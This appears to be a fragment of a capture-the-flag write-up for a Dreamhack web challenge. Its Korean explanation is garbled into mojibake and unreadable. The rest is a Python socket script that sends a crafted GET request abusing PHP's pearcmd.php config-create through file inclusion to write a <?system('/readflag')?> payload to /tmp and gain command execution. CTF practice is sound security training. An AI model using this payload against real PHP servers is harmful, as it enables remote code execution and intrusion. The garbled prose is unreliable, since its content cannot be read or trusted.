์น ์์ผ
์ผ๋ก ์์ฒญ์ ๋ณด๋ด์ผ ๋๋๊ฒ ๊ฐ๋ค.
๊ทธ๋ฅ ๋ธ๋ผ์ฐ์ ๋ POSTMAN์ผ๋ก ์์ฒญ์ ๋ณด๋ด๋ฉด ์ธ์ฝ๋ฉ ๋ฌธ์ ๋๋ฌธ์ธ์ง ๋ฌด์จ ๋ฌธ์ ๋๋ฌธ์ธ์ง ๋ชฐ๋ผ๋ ์ ๋๋ก ๋์ง ์๋๋ค.
์๋ฌดํผ ์น ์์ผ์ผ๋ก ํ์ด๋ก๋๋ฅผ ์ง์ ๋ณด๋ด๋ฉด ๋๋ค.
import socket
host = 'host1.dreamhack.games'
port = 17169
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
request = (
"GET /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?system('/readflag')?>+/tmp/index111.php HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Connection: close\r\n"
"\r\n"
)
s.send(request.encode())
response = s.recv(9999999)
print(response.decode())
s.close()